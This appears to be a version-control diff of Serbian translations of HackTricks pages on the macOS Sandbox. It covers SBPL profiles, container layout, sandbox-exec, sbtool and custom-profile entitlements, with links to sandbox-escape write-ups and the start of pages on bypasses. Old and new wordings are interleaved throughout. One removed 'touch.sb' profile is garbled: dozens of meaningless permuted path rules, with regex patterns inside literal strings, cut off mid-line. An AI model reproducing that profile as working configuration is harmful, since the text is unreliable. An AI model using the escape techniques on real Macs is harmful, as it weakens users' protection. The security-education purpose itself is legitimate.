Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
macOS Pesak (inicijalno nazvan Seatbelt) **ograničava aplikacije** koje se izvršavaju unutar peska na **dozvoljene akcije navedene u profilu peska** sa kojim se aplikacija izvršava. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**.
MacOS Sandbox (prvobitno nazvan Seatbelt) **ograničava aplikacije** koje se izvršavaju unutar sandboxes na **dozvoljene radnje specificirane u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**.
Bilo koja aplikacija sa **ovlašćenjem** **`com.apple.security.app-sandbox`** će biti izvršena unutar peska. **Apple binarni fajlovi** se obično izvršavaju unutar peska i kako bi se objavili u **App Store-u**, **ovo ovlašćenje je obavezno**. Dakle, većina aplikacija će biti izvršena unutar peska.
Svaka aplikacija sa **entitlement** **`com.apple.security.app-sandbox`** će biti izvršena unutar sandboxes. **Apple binarni** fajlovi se obično izvršavaju unutar Sandbox-a i da bi se objavili unutar **App Store-a**, **ova dozvola je obavezna**. Tako da će većina aplikacija biti izvršena unutar sandboxes.
Da bi se kontrolisalo šta proces može ili ne može da radi, **Pesak ima kuke** u svim **sistemskim pozivima** širom jezgra. **Zavisno** o **ovlašćenjima** aplikacije, Pesak će **dozvoliti** određene akcije.
Da bi se kontrolisalo šta proces može ili ne može da radi, **Sandbox ima hook-ove** u svim **syscalls** kroz kernel. **U zavisnosti** od **entitlements** aplikacije, Sandbox će **dozvoliti** određene radnje.
Neki važni komponenti Peska su:
Neki važni sastavni delovi Sandbox-a su:
* **Kernel ekstenzija** `/System/Library/Extensions/Sandbox.kext`
* **Privatni okvir** `/System/Library/PrivateFrameworks/AppSandbox.framework`
* **Demon** koji se izvršava u korisničkom prostoru `/usr/libexec/sandboxd`
* **Kontejneri** `~/Library/Containers`
* **kernel ekstenzija** `/System/Library/Extensions/Sandbox.kext`
* **privatni framework** `/System/Library/PrivateFrameworks/AppSandbox.framework`
* **daemon** koji se izvršava u userland-u `/usr/libexec/sandboxd`
* **kontejneri** `~/Library/Containers`
Unutar foldera kontejnera možete pronaći **folder za svaku aplikaciju koja se izvršava u pesku** sa imenom identifikatora paketa (bundle id):
Unutar foldera kontejnera možete pronaći **folder za svaku aplikaciju izvršenu u sandbox-u** sa imenom bundle id-a:
```bash
ls -l ~/Library/Containers
total 0
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...]
```
Unutar svake fascikle sa identifikacijom paketa možete pronaći **plist** i **Data direktorijum** aplikacije:
Unutar svake fascikle sa bundle id možete pronaći **plist** i **Data directory** aplikacije:
```bash
cd /Users/username/Library/Containers/com.apple.Safari
ls -la
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
{% hint style="danger" %}
Imajte na umu da čak i ako su simboličke veze tu da "pobegnu" iz Sandbox-a i pristupe drugim fasciklama, aplikacija i dalje mora **imati dozvole** da im pristupi. Ove dozvole se nalaze unutar **`.plist`** fajla.
Imajte na umu da čak i ako su simboličke veze tu da "pobegnu" iz Sandbox-a i pristupe drugim folderima, aplikacija i dalje mora **imati dozvole** da im pristupi. Ove dozvole su unutar **`.plist`**.
{% endhint %}
```bash
# Get permissions
@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
{% hint style="warning" %}
Sve što je kreirano/izmenjeno od strane aplikacije u pesku će dobiti **atribut karantina**. Ovo će sprečiti prostor peska da pokrene Gatekeeper ako aplikacija u pesku pokuša da izvrši nešto sa **`open`**.
Sve što kreira/menja aplikacija u Sandbox-u dobiće **atribut karantina**. To će sprečiti prostor sandboksovanja aktiviranjem Gatekeeper-a ako aplikacija u sandboksu pokuša da izvrši nešto sa **`open`**.
{% endhint %}
### Profili peska
### Sandbox Profili
Profil peska su konfiguracioni fajlovi koji ukazuju šta će biti **dozvoljeno/zabranjeno** u tom **pesku**. Koristi se jezik profila peska (SBPL), koji koristi [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programski jezik.
Sandbox profili su konfiguracione datoteke koje označavaju šta će biti **dozvoljeno/zabranjeno** u tom **Sandbox-u**. Koristi **Sandbox Profile Language (SBPL)**, koja koristi [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programski jezik.
Ovde možete pronaći primer:
```scheme
@ -140,100 +141,28 @@ Ovde možete pronaći primer:
)
```
{% hint style="success" %}
Pogledajte ovaj [**istraživački rad**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **da biste proverili više akcija koje mogu biti dozvoljene ili odbijene.**
Proverite ovo [**istraživanje**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **da biste proverili više akcija koje mogu biti dozvoljene ili zabranjene.**
{% endhint %}
Važne **sistemske usluge** takođe se izvršavaju unutar svojih sopstvenih prilagođenih **sandbox-ova**, kao što je `mdnsresponder` usluga. Ove prilagođene **sandbox profile** možete videti unutar:
Važne **sistemske usluge** takođe rade unutar svojih prilagođenih **sandbox**-a, kao što je usluga `mdnsresponder`. Možete pregledati ove prilagođene **sandbox profile** unutar:
* **`/usr/share/sandbox`**
* **`/System/Library/Sandbox/Profiles`**&#x20;
* Ostali sandbox profili mogu se proveriti na [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
* Ostale sandbox profile možete proveriti na [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
Aplikacije iz **App Store-a** koriste profil **`/System/Library/Sandbox/Profiles/application.sb`**. U ovom profilu možete proveriti kako ovlašćenja poput **`com.apple.security.network.server`** omogućavaju procesu korišćenje mreže.
**App Store** aplikacije koriste **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Možete proveriti u ovom profilu kako ovlašćenja kao što je **`com.apple.security.network.server`** omogućavaju procesu da koristi mrežu.
SIP je Sandbox profil nazvan platform\_profile u /System/Library/Sandbox/rootless.conf
### Primeri Sandbox Profila
Da biste pokrenuli aplikaciju sa **određenim sandbox profilom**, možete koristiti:
Da biste pokrenuli aplikaciju sa **specifičnim sandbox profilom**, možete koristiti:
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
{% tabs %}
{% tab title="touch" %}
{% code title="touch.sb" %}
```plaintext
(version 1)
(deny default)
(allow file-read-metadata)
(allow file-write-metadata)
(allow file-read-data (literal "/private/var/tmp/"))
(allow file-write-data (literal "/private/var/tmp/"))
(allow file-read-data (regex #"^/private/var/folders/[^/]+/[^/]+/[C,T]/"))
(allow file-write-data (regex #"^/private/var/folders/[^/]+/[^/]+/[C,T]/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/C/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/C/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/T/"))
(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/T/"))
(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/
```scheme
(version 1)
(deny default)
@ -266,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
```
{% endcode %}
{% code title="touch3.sb" %}
```scheme
(version 1)
@ -280,50 +211,50 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{% endtabs %}
{% hint style="info" %}
Napomena da **Apple-ov** **softver** koji se pokreće na **Windowsu** **nema dodatne sigurnosne mere**, kao što je sandboxing aplikacija.
Napomena da **Apple-ov** **softver** koji radi na **Windows-u** **nema dodatne bezbednosne mere**, kao što je sandboxing aplikacija.
{% endhint %}
Primeri zaobilaženja:
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (mogu da pišu datoteke van sandboxa čije ime počinje sa `~$`).
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (mogu da pišu datoteke van sandbox-a čije ime počinje sa `~$`).
### Profili macOS Sandbox-a
### MacOS Sandbox Profili
macOS čuva sistemske profile sandbox-a na dve lokacije: **/usr/share/sandbox/** i **/System/Library/Sandbox/Profiles**.
macOS čuva sistemske sandbox profile na dve lokacije: **/usr/share/sandbox/** i **/System/Library/Sandbox/Profiles**.
Ako treća strana aplikacija ima _**com.apple.security.app-sandbox**_ privilegiju, sistem primenjuje profil **/System/Library/Sandbox/Profiles/application.sb** na taj proces.
I ako treća strana aplikacija nosi _**com.apple.security.app-sandbox**_ pravo, sistem primenjuje **/System/Library/Sandbox/Profiles/application.sb** profil na taj proces.
### **iOS Sandbox Profil**
Podrazumevani profil se naziva **container** i nemamo SBPL tekstualnu reprezentaciju. U memoriji, ovaj sandbox je predstavljen kao binarno stablo Dozvoli/Odbij za svaku dozvolu iz sandbox-a.
Podrazumevani profil se zove **container** i nemamo SBPL tekstualnu reprezentaciju. U memoriji, ovaj sandbox je predstavljen kao binarno stablo Dozvoli/Zabranjeno za svaku dozvolu iz sandbox-a.
### Debugiranje i zaobilaženje Sandbox-a
### Debug & Zaobilaženje Sandbox-a
Na macOS-u, za razliku od iOS-a gde su procesi od početka sandbox-ovani od strane jezgra, **procesi moraju sami da se odluče za sandbox**. To znači da na macOS-u, proces nije ograničen sandbox-om sve dok aktivno ne odluči da uđe u njega.
Na macOS-u, za razliku od iOS-a gde su procesi sandbox-ovani od samog početka od strane jezgra, **procesi moraju sami da se prijave za sandbox**. To znači da na macOS-u, proces nije ograničen sandbox-om dok aktivno ne odluči da uđe u njega.
Procesi automatski dobijaju Sandbox kada se pokrenu iz korisničkog prostora ako imaju privilegiju: `com.apple.security.app-sandbox`. Za detaljno objašnjenje ovog procesa pogledajte:
Procesi se automatski sandbox-uju iz korisničkog prostora kada počnu ako imaju pravo: `com.apple.security.app-sandbox`. Za detaljno objašnjenje ovog procesa pogledajte:
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
{% endcontent-ref %}
### **Provera privilegija PID-a**
### **Proveri PID Privilegije**
[**Prema ovome**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (to je `__mac_syscall`), može proveriti **da li je operacija dozvoljena ili ne** od strane sandbox-a za određeni PID.
[**Prema ovome**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (to je `__mac_syscall`), može da proveri **da li je operacija dozvoljena ili ne** od strane sandbox-a u određenom PID-u.
Alatka [**sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) može proveriti da li PID može izvršiti određenu radnju:
[**alat sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) može da proveri da li PID može da izvrši određenu akciju:
```bash
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
sbtool <pid> file /tmp #Check file access
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
sbtool <pid> all
```
### Prilagođeni SBPL u aplikacijama App Store-a
### Custom SBPL u aplikacijama iz App Store-a
Moguće je da kompanije svoje aplikacije pokreću **sa prilagođenim Sandbox profilima** (umesto sa podrazumevanim). Za to je potrebno koristiti privilegiju **`com.apple.security.temporary-exception.sbpl`** koju mora odobriti Apple.
Moguće je da kompanije pokreću svoje aplikacije **sa prilagođenim Sandbox profilima** (umesto sa podrazumevanim). Potrebno je koristiti pravo **`com.apple.security.temporary-exception.sbpl`** koje mora biti odobreno od strane Apple-a.
Moguće je proveriti definiciju ove privilegije u **`/System/Library/Sandbox/Profiles/application.sb:`**
Moguće je proveriti definiciju ovog prava u **`/System/Library/Sandbox/Profiles/application.sb:`**
```scheme
(sandbox-array-entitlement
"com.apple.security.temporary-exception.sbpl"
@ -331,18 +262,19 @@ Moguće je proveriti definiciju ove privilegije u **`/System/Library/Sandbox/Pro
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Ovo će **proceniti string nakon ovog ovlašćenja** kao Sandbox profil.
Ovo će **evalirati string nakon ovog prava** kao Sandbox profil.
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Debugiranje podrazumevane peskaže na macOS-u
# macOS Default Sandbox Debug
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Na ovoj stranici možete saznati kako da napravite aplikaciju koja pokreće proizvoljne komande iznutra podrazumevane peskaže na macOS-u:
Na ovoj stranici možete pronaći kako da kreirate aplikaciju za pokretanje proizvoljnih komandi iz unutrašnjosti podrazumevanog macOS sandbox-a:
1. Kompajlirajte aplikaciju:
@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
</plist>
EOF
```
3. Definišite privilegije
3. Definišite prava
{% tabs %}
{% tab title="sandbox" %}
@ -110,7 +111,7 @@ EOF
{% endtab %}
{% endtabs %}
4. Potpišite aplikaciju (morate kreirati sertifikat u kešu ključeva)
4. Potpišite aplikaciju (treba da kreirate sertifikat u ključanici)
```bash
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
@ -118,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
# An d in case you need this in the future
codesign --remove-signature SandboxedShellApp.app
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,73 +1,78 @@
# Bypassi za macOS Office Sandbox
# macOS Office Sandbox Bypasses
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Bypass Sandbox-a u Word-u putem Launch Agents
### Word Sandbox bypass via Launch Agents
